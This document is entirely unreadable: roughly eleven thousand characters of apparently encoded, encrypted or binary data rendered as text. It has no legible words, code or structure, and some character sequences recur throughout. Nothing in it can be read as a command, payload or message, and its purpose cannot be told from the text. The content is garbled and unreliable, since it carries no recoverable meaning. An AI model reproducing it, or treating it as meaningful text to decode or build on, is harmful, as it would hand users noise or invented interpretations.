`pr4v5]Oh^ '
Q ]uVwH5|"t~Ro P{sxJ8VXD(Y$<[PmH{bR|Q C!PF'US0TTHSs
_1PxQtZwQ Sn#ln6*TTH(E2_PUUZBjQ C!PGtmJ-TTHY7<PH[atmSK)P{oDVX`(EPE _B|Qq1P	
2WWrqsi&5^@`RDOq\sP t J3+pb'	iN5A(v^wZPaS	BYP{2WXq@OgTaH{4\]Mdh\/yV` '
Q ]uVwH5|"`{
N4_J5]N[pUY '^D/t
R,L}'[YYW
yH
mTPD-:_\_dV)Pn']Wqz(sO5%hwX3	IEbGZ![pW|r4}sOPXjD*)V9X(Y$SO1RVWpZQZ[6P{	^x/VXD,_%PE4VJtQD2P^[3V:{(Y+)ZPx`pzPZq 5t]Oh^3	FDQ ]Z![)"`pr4v5]OhA6Y,XcX+Y^ W*Q0Ww^a@aPR7RQ
X+cPWNaH	0Z]dpzaSx7Q{ 
TgC+UQ*eT4vFwzaQ3OKQ XD]=KeUA,vWRDOq\sP t J3+pb'	iN5^AS|q}(UUNK_D=VO<P}\EqwV WTJ[_B\>^W?X[7AFqITlP~0VVm%_\_dQP	Z^tAO|H	EKWLN*_YGPtL<\VX@W{UGD
X0TVx%_DD-J^R~\EtEUDX	 TPiDD-J
Tx\EqwU@	nWP -	VWYGRO.b}\FaQT
VWN(YG-	O~ PY]WgS|{\)%h| J3 EbHiApWS|(sO5%["V:f  aVP[ydWQ C!PF'US0TTHI)GPV OHZOQy[%Sn#lU..V\DSI(aVS}FZVAQTe]Pn+hx/VV^=w1Qu Q[ S`{
N4_J5]N[pUY '
~WqNi-wH5wZ@`RKN4@WR3PQ,PZOQ\QNS{oDMdx	P}%]N[pUY '
~WqNi-wH5wZ@`RKN4_EsP [pV
)yB\t	W.\U\EqAO|HXKTR1*aYD`L
T}'[ZkS|{\)%h| J3 EbHiApWS|(sO5%U*Vz- *PFttBLSK)PUVV@wSI(,C;S}oHQQE P},V9H](YNP"Px
va|VQy[0P{Y$VWf\QEQOURzZpAQl}4S{Ob}/U*H@c?OPx
|B|Qy[%PU'U.8VTfGPs&i&5^@`RDOq\sP t J3+pb'	iN5A~[]`zaPx3SIQ6XZX+g-LeUA0WwVc@e"x3SUA)	,
X+cQK a-{4TAw`zeB3V{6bY+gJ aH	\[wzaP3vQ{ ,PjFg$T [{4~Cw`@aPx3SP{6	H\dZO$^ApWS|(sO5%hwX3	IEbGZ![pTZBgVWT|H_R*}\_dL<~mTAFqIV \VMRT_\@V	OP}[WaV HXR_}(Y/Ppb,qNi&5^@`RDOq\sP t J3+p(Y+)+PmQtZwQW<P{vxSVH|{+PFQB|Q K\Pn3r,U/h=U(/[ZP 0atiRyR uxS&Vf(Y<yZPm4qHRUQ  %P{y/V:Y>TRO.P0VqVCRy=PGrx V@\SI()_-PH[atmQyPV3rx&V/Ds(],SaP $B|QWq4PUb ""3 EbHiApWS|(sO5%hwX3	IEbQ+K_{4[dZzaRB3v_Q6(TAUOcJV y"^AS|q\)%h| J3 EbHiApWS|T	o@~NN}
)yYGRJ	J)~	XF]IH	|KSM}%eYG-t	KT}LZ\kIZP~UHF*x
~WqNi-wH5wZ@`RKN4_EsP [pUY/Ppb,qN
u Px
}bV	QZ[KR u[3U/TT-E=,C;Px
vbV	SK)SV/[FS)Vz(UOS~ ztZxRoWTR umJSVTY(Y$?SSRzWpvQy_-PF'WrVPG0PUvaoQl[#Sn3vx&V/Xs(Y)Qu 5wZ@`RKN4_EsP [pUY/Ppb,qNi&5^@`MdNPe5x3 W{0	,
X+UR S{4~AdpS.RrJQJY	,\pYO]T}"{0_w`PS.R3qUA	T@[Og#JNSHZwdNPaPx7IA6
H
X+cPWNaAt_`@aRB3iHJY	,fGG]SR[{0_w`
aPBtT-HPvAOQ!JNa5A,vWMxx
aEsP [pUY/Ppb,qNi&5^@`RDOq\sSQ_~*_YGPtL<\LZWcW	Zf~TR RaYGRh	R,VZ]sR|vGTI )V__[.xT
b	}/^Wr(sO5%hwX3	IEbGZ![pW|r4}sOPVRV2VUH`(A"SO1Sm$cpz4v5]Oh^ '
Q ]uVwH5|"`{
N4_J5B3 W{0	,\jGcSQW
Q
A^]ZOz\x3SH6fEAg4Q*_+A4U^MdAaRB+y_^ '
Q ]uVwH5|"`{
N4_J5]N[pUY 'YG-
OQP}PY^kIob	|KSM}R(_[.xLQDZ^q]WG\		nKUP~N*K_[.x^)@ Y]WgU~v~TVVG^A=FT
b	[Wr]O|H<UV}
Ui_^RtT
b}\EWQTz~ VVx*K]DQ^L,rxAFqIW  
SM}RW^G`URT}[YtwW	ZfF4VH R/K\B>^,[)"`pr4v5]Oh^ '
Q ]uVwH5|"tcR~PXj#VWb <_RzaxSQTaPmWm62V@jc=
[/SnJtQluWPm'Kx6V/DA/U.Q  t`{
N4_J5]N[pUY '
~WqNi-wH5wZ@`RKN4@e\
xiR{,X_UURT W*QtE]^P
z[.B[Q
H~sUGZ![pW|r4}sO5t]Oh^3	FDQ ]Z!m[FbcTP	},UWx(K_AxU)	[FcR|@~WN(_AQhJ@xT\FrAO|HU
WNT^@S^P/~}T\EaYTyT}\ t J3+pb'	iN5^AS|q\)%h| JV/uYQ PnXJtQl TS|RH[3U*@>s+O)PytZwR|[7PGv$VbT/U/Qu 5wZ@`RKN4_EsP [pUY/Ppb,qNi&5^@`Mxx
ze\
xiR{2U
Hf|[+ULNa[{
Xdw@aPB3OR 9~sU{$W1ApWS|(sO5%hwX3	IEbGZ![pT[ZQWDf|VM NWW_[.xT
b	[Wr]O|H
X,VPx*^]StT
b'GXHRZP	},SM}%	UiDD-JP/~ 3GXIR|vFNN}BU>`	O.r}\EAT	o@
}KVU[5y\@V
K~~+AFr(sO5%hwX3	IEbGZ![pW|r4}sOPVr[3V:P|=RPO/PmHRQ C!PG
m";TTH=WR PVNFiQoGPXnQV/@uPs&i&5^@`RDOq\sP t J3+pb'	iN5A~[]dizW7PA6\YcQ^*S {HZwZ

aS	BU6
HfcX]S*[;AH]Mxx
ze4BH{,
X+cQPNa-{4_wZhzW	3 _{2WP{YcRK*a-A4@ZRa@\x7W{\pYOg	L a,4cAM`@e5	O V* 7FDQ ]Z![)"`pr4v5]Oh^ '
Q 	KXD/Z[aUUyf}Q_~9a_^SRP/~	YE]IEH	nUNm	Vu]]Ph	I,P}\FYwW
jm4VU[5*}[U. ]uVwH5|"`{
N4_J5]N[pUY '
~WqNi-wHP[
eW|CQyC#PX+B,V:PH):PD
AbtrR~.P{UWTU@aSI
u P[
esVsQ C!PU_~",V/Dy].W!PUosQQZ[6R uxSV/Z(Y+)P[
eJ_PZq 5t]Oh^3	FDQ ]Z![)"`pr4v5]OhA6\YUPNWQ~[]`zWxO R{2Y,Px[OU&L eUAtE]RpPWx	QVQ6
,
X+Q,SN_Qu[	@y%xqSQ2U	b]c\V*eL
Q
@W]
y%cN[pUY '
~WqNi-wH5wZ@`RKN4_EsP [pV*KYGP	P/DmP[FswV|H
X0H_E1
(C\\(JI?}YZrITlD~THVW]@xP/~}[EHgVj
WSM}R(__^/D[7ZYqU|f~TU%
/C^@^Lzx+[^sYTzFWNF*KYG-K~+Y\rRvnNN}_BG|^R~ZYIgW
lv	},NN}_YG>KPE+\Eq Uyv	},R_}(Y/Ppb,qNi&5^@`RDOq\sP t J3+p={)C"Px~JtQZ_*PGNUWTU@aA)_-Pm
@WZkQ C!R ^hwX3	IEbGZ![pW|r4}sO5t]Oh^3zs\+gL [UAHZw` zaPTN{6UP{Y]=K[;AHZwdz[5x3[I{ (b@+QI eV4}Z]zSRAWQ 
PbY+g/S _+A4C]R]P[KUQ6fEXOQ=Q [AH^xx
aEsP [pUY/Ppb,qNi&5^@`RDOq\sSSM}R(_[.xU~ 3GX O|H~UUN
*B^S^L,nnAFqITz4HP ^@^^,[)"`pr4v5]Oh^ '
Q ]uVwH5|"qptQy[*PRP[3U(QA _Px
yHZOQ KP},VA6<yZP[0W`iQ GPP{OP[3TTH]$)CPx`td
RyCPU'@DVf
(Y))aPmU pz4v5]Oh^ '
Q ]uVwH5|"`{
N4_J5B3SH f|Ug,Q[04fZMzeR	SA +	\zXQ2J*aAS@]ze6BNQQ (
_{$W*eZ
{z^wdOPaRBO R{6Y,XcX+cPPNa)QVXwVQ@S4x3rRQ XZO]S*[ 
0AMdxzW4RYP{N,bXY&KN_{HZwRpPWSR7PA2VbB+g+^Na	dC]zaS	BrRQ63
XD[Q,R S{,vWMxx
aEsP [pUY/Ppb,qNi&5^@`RDOq\sSQ_~
(e^X=`O,~
~S|r4}sO5t]Oh^3	FDQ ]Z![)"`prQZ[6PUM *TVzZ/)9Sx0[YQ[WP{K;VrgRQu 5wZ@`RKN4_EsP [pUY/Ppb,qNi&5^@`Mxx
ze\
xiR{VbZcRUeW{4yW|x@y%cN[pUY '
~WqNi-wH5wZ@`RKN4_EsP [pVV_\BP	J,x'Z\J]O|H~ SM5	:a^\>VR~}[DW	|KTHu^@>VL
T	}*|r4}sO5t]Oh^3	FDQ ]Z![)"`prQZ[6S{Ob[/V\H/w)G$P (JXPZqSn/RVU)r4<[-PDQ[tcQy[PU'hD'UPuSI(<qPxptFxQy_-R ^["3 EbHiApWS|(sO5%hwX3	IEb{$W*aU	{
A@]R`S1B7PA2V,b[+cQW*_,vWMxx
aEsP [pUY/Ppb,qNi&5^@`RDOq\sSTJF}]@Sd	K
L}GFtETT	USTQE
SYG-tL,@}\EQRyHnSTVWiYGPtL<\~7[[ZcO|H	~ TS}V*K_Y^	O,r
E[BbwO|H|UVD9/eYG-FWz}[Z{WGvXSM}%
(C^A-	J,[7Z^sYWlH~UV
:K__(	OP[	Z\UO|H~HVU-
9_AxW,Xn]Wqz(sO5%hwX3	IEbGZ![pW|r4}sOP{VUJTV@gQ$OP zJtQWC2P{t,V:=7Q PxptZxQy<SUjx.V/\}QA )_ S4JtRy=PGrx V:USAQ?}Q  t`{
N4_J5]N[pUY '
~WqNi-wH5wZ@`RKN4@y%xUQ 8HbU+cPP*[(v^lDOq\sP t J3+pb'	iN5^AS|q	},UKE)Wy]DPVO,Lm[EHgVj~WUUN
WuYG=Z	I~X@ZS|{\)%h| J3 EbHiApWS|(sO5%UWTU@a(<SCSx4xaSK)Pm~x&V/Xs(Y)RO.SxQWZkR~TR Y["U/h(Y.aLPxQPsV{Ry,R uDVr{PRO.Px
ytqQy[*PGNxWVV@wsQ}VRzZBlR~PGNmVW\BQA uWPF(JtQlCP{sxJ;V:USAQ?}Rzt`QEK.S{ObxVH]P](
u5wZ@`RKN4_EsP [pUY/Ppb,qNi&5^@`Mxx
zS 7RQ6(,
X+cQI*S9A4Dw`@\xU{ 
bGg"S S6{
]]`ze4xy_Q ,P~_O]O*W	Q4C[w|x@y%cN[pUY '
~WqNi-wH5wZ@`RKN4_EsP [pV_BG|
O@V[[rwU@XWN
:[YG-t	SSnP]Wqz(sO5%hwX3	IEbGZ![pW|r4}sOPXjx V~ySI
u Pxvt^pQZa4PX'\VHU.s(
S SxHmtB[SKQX'\hwX3	IEbGZ![pW|r4}sO5t]Oh^3zs\+gSU*_Q0Z]Rq@\xp_A ,XD\]S*eV0Z]`	@W1xUQ2T
,TAC+UQ*W	Q4C[wzeOx3MMQ 8HX[COg5R S,{HZwZxzaP	x7RQ (,fy\OUQ*a+
{xX`
eOx3SH* fGG]SR_
YM`@aPx3hHQ. 	FDQ ]Z![)"`pr4v5]Oh^ '
Q P/~}Y^awIDb,SMmV
:\_d	P\U[CtYTG\~HTV)C[U.J^f~+\EIVj	~SSMm*e\Y-RO/
~S|r4}sO5t]Oh^3	FDQ ]Z![)"`prQTQSUkF*+UDk(A"RO.P aZSK)P{oW
VVHTQA PO/PQvWZkSK)Sn#l WrQQI) ;PmHUSK)Sn/RxVHU.s()_"PHJsRoy-PVOxSTTHY7OPx
yW|CRyWPV3x U*XA/U'.$Rzt~Qy PROnVXDY7aPD{auSK)PnWxSTTHs_PmXWZkSK)PnJxWU:~IS)ePx
|bVVQyC#R uxJ8U*~>4)CPVUqIcQoq<R ^["3 EbHiApWS|(sO5%hwX3	IEbg.H*eZ
{4@C]R`e/xqSQ. 	FDQ ]Z![)"`pr4v5]Oh^ '
Q 
OPX;XB O|H 0VU[5
)y^DP`	SSf}'YW O|H	}KWH 
WuYG=Z^R}PGX VZzXR_}(Y/Ppb,qNi&5^@`RDOq\sP t J3+ps?uPxQPB|Pq'QX'\hwX3	IEbGZ![pW|r4}sO5t]Oh^3zs\+cRI aZ{0Y^{[KxoNQ6X,XCO]S*eT	Ao_MV|@S6B7Q2WX_]'RNa{HZw^zeRMIQ6XzCgVJ aQ4@^]dUPaRBO R{61	PF]OQ,R*a(xX`
aPR	JU{JY	,fYAYUI eUAB\dUP[KxOT{6
X+Y^ W:~[w`@e4RLW 
P{YgH*[{0^dq@aPR7PA2V,b[+gINeU,vWMxx
aEsP [pUY/Ppb,qNi&5^@`RDOq\sSTJF}^\=	W<}'YBr{S|{\)%h| J3 EbHiApWS|(sO5%[2U(Tx(E2CLP[
eaVQTaTP}E"RVcg\_%Q  t`{
N4_J5]N[pUY '
~WqNi-wH5wZ@`RKN4@S-R7 M{$fFY+]S*eUA0XM`@aPx7Q. 	FDQ ]Z![)"`pr4v5]Oh^ '
Q Q)T}T[BJ]IE~{,VIN:uYG.J
IG\YUGDXNN}
)y\\Rh^?f}\EkUG\G(VU[5(KYGFO,L}P[YIYUvU(VU[5([B_d	VQ~}[EHkR|D		{SV_F
)K]BO,L['Y]gT	bX(TR R	KXU-y]uVwH5|"`{
N4_J5]N[pUY '
~WqNi-wHP[
bV	Q C!SmWVW(V@]1O"Q  t`{
N4_J5]N[pUY '
~WqNi-wH5wZ@`RKN4@eR	SA6PVBcSQ[{ ]]`@S-R7_{2UfG[gJ^NS{TFwVU
@\x3OKQ 0TVU+Q,R WTA4~Cw`@W7QAX\[g*LNeUA,vWRDOq\sP t J3+pb'	iN5^AS|qE
HMD-(YG-M.~+\Eq W
jm4NN}	W_@`	W?r[\EqwU~\
X0WNU*KB]tJ)\[\EqwU~\~UQ~)(\F/T
b}PX_aIR|
nVU[5*x
~WqNi-wH5wZ@`RKN4_EsP [pUY/Ppb,qN}HPxpHoQTaTPU'@S	VVs(A"Qu 5wZ@`RKN4_EsP [pUY/Ppb,qNi&5^@`M`@WT]_Q ,PjFg$T [{vER|
[
R7_{TQD+cQ^*[;QTFwzeRP6.HbZ]S*W*QVXwR|
[
R3OKQ 8HX_QMNy"^AS|q\)%h| J3 EbHiApWS|R|UQ~)eYG-tW<~x\EqwI
{NN}	UYG-T.x+XFUUGDXNN}*K__/	S<D~XFUUGDXR_}(Y/Ppb,qNi&5^@`RDOq\sP t J3+pY7_S(EYxZQG ,PEVp$VfK>U
yPmbpRlS7P} ""3 EbHiApWS|(sO5%hwX3	IEb{$W*aQ[MzeR	SAJY	,fCOg]^*[;{HZwZhz[5x`PQ2Wzs\0GZ![pW|r4}sO5t]Oh^3	FDQ ]Z!FGEHWZvm<VIVN
/eYGRL,r}ZYa UyvXHT
:DD-JL,r}'G\YO|H{,WH )K_D=VO<P}'XXtYW	Zf
|U_9*K_[P^O<[[BJ]IE~
X0UQm*K^A(x
I
~['G]HgUz	
NN~)KYDt	OS@}Y^qEO|H~WS}WiYGRO,L	 ;Y]WgUWnU_*KYD=RP/~XBgIlT~TR*_YG-tL.D ZYawO|HTV]D^^/[)"`pr4v5]Oh^ '
Q ]uVwH5|"a_QEKP{TxWTTH={)_PmHDYJQ C!R ux/V/HSY4<GQ  t`{
N4_J5]N[pUY '
~WqNi-wH5wZ@`RKN4@a]B[Q.,fQC+YJT WA4|Fze\
xiR{ ,XUOg$R[ QHZwdz[RaJ (,bZ$^ApWS|(sO5%hwX3	IEbGZ![pTZYr{W ,VRF%
)y^DP`QQLE+Z^q]Ul@
E
VU[5(W\^BO,L[/Z^HIR|	|KTR)	uYGR	IX[7YBHUVDz~WJ5
*^@BSr	Y\kW
lv
X0SMF(_[.x^,[)"`pr4v5]Oh^ '
Q ]uVwH5|"tZwRy,PXjxVfg-RO.PVPrptQ C!Sn/RxV:AI]PG&Px
TsdSK)P bU6TVDP	)G$Pxvt^pSK5t]Oh^3	FDQ ]Z![)"`pr4v5]OhA +,bBQ,R eVGBw`@S/7QA6
f^^O]S*_P0XMdq@e+O R{TTBcQ^*_LV\wdSP\x3OKQ60,f{A+cQ^*[:Q0Ww^`PWxyIAH
X+cQLeT{0YwZOzS%B	^K63
X+gV*eWA
]]`@ex	^KJY	,bGOc\U W
4EwVle3iJ{2W~sUGZ![pW|r4}sO5t]Oh^3	FDQ ]Z!PXXtYWD~4WL1*x
~WqNi-wH5wZ@`RKN4_EsP [pUY/Ppb,qNOS~ zZtQaVP{yxV/@(AS?OPx
|JtQo}\Pm+ n2V9b\QA <PQvJtQoq!Pvm4U@]Ps&i&5^@`RDOq\sP t J3+pb'	iN5Af^MdeR	SA2U,X_O]=H*aQ4sD]dZzaRB3wV6,
X+UPNeUA^^wR S]7_{,
_{$W*eZ
{_BMdL	@eRaJ9bZ]WN}"`AS|q\)%h| J3 EbHiApWS|U~T	X(HWD:W_D=VL?}YWJ]I	G{U_ 9*KYD=RKPnL[FswV|H
X0WWU	u^B/B
OQP P[EtYO|HU
WH[)
:[__/UQn[AFqIVZznTKx)(]]FLD	[/\EWQT	~jVKNN}
:S^YRBW,X;XZYV \nTNxW[XU-y]uVwH5|"`{
N4_J5]N[pUY '
~WqNi-wHP[
ebJVQoq+SmVQ,VVw(A")_"PJtQl6PROVU)r(Y$) VS,bJVR~yPVVim,UH
=RO.Px
vtQyK\P{	wxJ8V9H]-cP"Rza| QyG+S|/JUS0V/X~SI(/uZPxpaVQE Q'{hwX3	IEbGZ![pW|r4}sO5t]Oh^3zs\+g6JNa0(v^lDOq\sP t J3+pb'	iN5^AS|qE
HMD-/e^A/JT
bV[[JcRZP~ TW%*x
~WqNi-wH5wZ@`RKN4_EsP [pUY/Ppb,qN} PFQJqQy_PGNF*	U/hSI()$PVPrptQE[PV3D VfQA O/PmH{JtQPmWmWV/@u(A)RO.PU4HV^R~RPV{xS7V/\T(Y+,yZPx
yQPq'5t]Oh^3	FDQ ]Z![)"`pr4v5]OhA* ,PsXcPP*eUAH^xx
aEsP [pUY/Ppb,qNi&5^@`RDOq\sSTKx)(K^XSRObnLX_IEUyjUUVU9
SXU-y]uVwH5|"`{
N4_J5]N[pUY '
~WqNi-wHPxQpZmQyG3S{3OmU9T]=RO.Pn DaZNRlW)SmVQ V:b(I]PG&PraKQT}Pm'w,U/f ?.qP[,qaZKQZ_P}U&NV/b(A",ePEQ[pz4v5]Oh^ '
Q ]uVwH5|"`{
N4_J5B/yV{0	,XcX+U=Q eUAHZwdp	@S.RqSQ2V,fQC+cQ^*_RS_]ZWP\x7RQ\pYOQ$SeV{VXwze*B3SV{JY	,XcX+Y4S*aQFW]V|@[KR_L2Wzs\]W*WZXRxPWxV2V,b[+c]O*S{HZwVZzWBIA ,fEAgH*S {TDM^qzS.J{X,bZ$^ApWS|(sO5%hwX3	IEbGZ![pT^WrITzTRF*G\\-F^,z
~S|r4}sO5t]Oh^3	FDQ ]Z![)"`prRyq&POTm/V/Xs=YR):PF_q`Ql[PX	L$V: SRO.Pu`Qoq6Pn	vx V^Ps&i&5^@`RDOq\sP t J3+pb'	iN5A4[F]dZze	pR{JY	,\[\+Q\QNWZ
]wV[@W xQI6,~sUGZ![pW|r4}sO5t]Oh^3	FDQ ]Z!x+YBHUT
|\ SMmy][|RQxT[YIYO|HmKH_R(^\/Z
V@n'\EqEI
T~~- t J3+pb'	iN5^AS|q\)%h| JUzQ-+PxQ`WRyWPVyxJV:(A"RO.P[qZWQ C!SmM WrQgP
u,Px~Ip
SKQX'\hwX3	IEbGZ![pW|r4}sO5t]Oh^3fbFUNI*a3AnBRkzaRBjM{6Y,XcX+UQ*[
Q4\DwzeR3^MA ,TZ@gT[!H]Mxx
zeRUQ 8Hb@]&HeUAH^xx
aEsP [pUY/Ppb,qNi&5^@`RDOq\sSQ_~
WuYG=ZO/
~S|r4}sO5t]Oh^3	FDQ ]Z![)"`prRTyPEVpFS)VHxP{P
e	Pxppz4v5]Oh^ '
Q ]uVwH5|"`{
N4_J5B3hLAJ,TQ[OcSQaQ[M`zWxO R{#H
_{$W*eWQ
_Zw` z_<B7TAJY	,b^cPWNW+AVXwz[KR`PQbXgPJa+{HZwZNPWR	zS6
bZQV eZ
XdL@aRBO R{ 
bU+cQI*eWA4@Z^JzaQLW6U,
X+g]V*_2{4\wZOPS=7JQ"
X+Y$S*eW	{0B]VXz[KxaJ+\AD+$^}"`AS|q\)%h| J3 EbHiApWS|IEH	nUNm
*u^Y/JO,L	\EWQVyXU(NN}	W[\\-FL
TFGEHR|v
{R_}(Y/Ppb,qNi&5^@`RDOq\sP t J3+pcW PUUZBjQy_S|r$TTH(?OS~ zt^_Q<PUR`mVfh/)G$Rzt^_QWqP{vnU/R]W)G$Q  t`{
N4_J5]N[pUY '
~WqNi-wH5wZ@`RKN4@W'R3SL{#H
_{$W*W*Q0^ZWPWx3TMQ 8Hb@]&HeUA,vWMxx
aEsP [pUY/Ppb,qNi&5^@`RDOq\sSQ_~a]Bx^,m	[YHO}WHWD:W_D=VW,XFXZsEWyP
X0HTV*x
~WqNi-wH5wZ@`RKN4_EsP [pUY/Ppb,qN VSVdtcQy[(PnOq-V/@uY7)_"PJtRlu0R Y["U*Dj-E=RO.P[
esNQW<P{V_m'U:TI/<.P^
QT 5R u-U*~(Y+,yZP[|axSQy[SV [JV:T	Qu Q[ S`{
N4_J5]N[pUY '
~WqNi-wH5wZ@`RKN4@S-R{MQ2WTqGgM*[{
BwZeBqN9,
X+Q)ONa+A0XMRpPWx	{W61	,T]UMNa{,vWRDOq\sP t J3+pb'	iN5^AS|q~UJ)*K^A(xT.		XF]UH
F(VJV9uDD-JP
D~7[AZUUWTFSM}eBCQZ
MP[[@ZcIyH

H_xTC_\hT
b}Y]YRz
UJ)
9]USO,Lm7[^sYU~v~WME
*C\_d	J,xAFqITyD~WWP1
DD-J	QRT GWIcR~@WLNG^B`K)L]Wqz(sO5%hwX3	IEbGZ![pW|r4}sOPXjx*V:\|sPePQYhQTaQP{Vhx&VHU.s(PG&Px
CWJqPq'5t]Oh^3	FDQ ]Z![)"`pr4v5]OhA 	,f
]+Y4S*eTA4YYZqWSxO R{2W\vDcQS WWQp[Mz_<R\_{,fbCO]S*aQ
^d{	@SB7 N{ ,~sUGZ![pW|r4}sO5t]Oh^3	FDQ ]Z![LY^awT|j
U<VU[5*^_/`L,r
'AFqITz		V(SNRWyDD-J	J)~L[ZW]IyHmKW_RV_^B(^	QRDU;AFqIRlP	|KNN}(u]Y-J	SbZ\wUG0R_}(Y/Ppb,qNi&5^@`RDOq\sP t J3+pY7)PP[,eB|QoGPV7-V/@uPG0SxQaQP{yYWWrqb'	iN5^AS|q\)%h| J3 EbHiApWS|(sO5%hwX3	IEbGZ![pW|r4}sO5t]OhS\\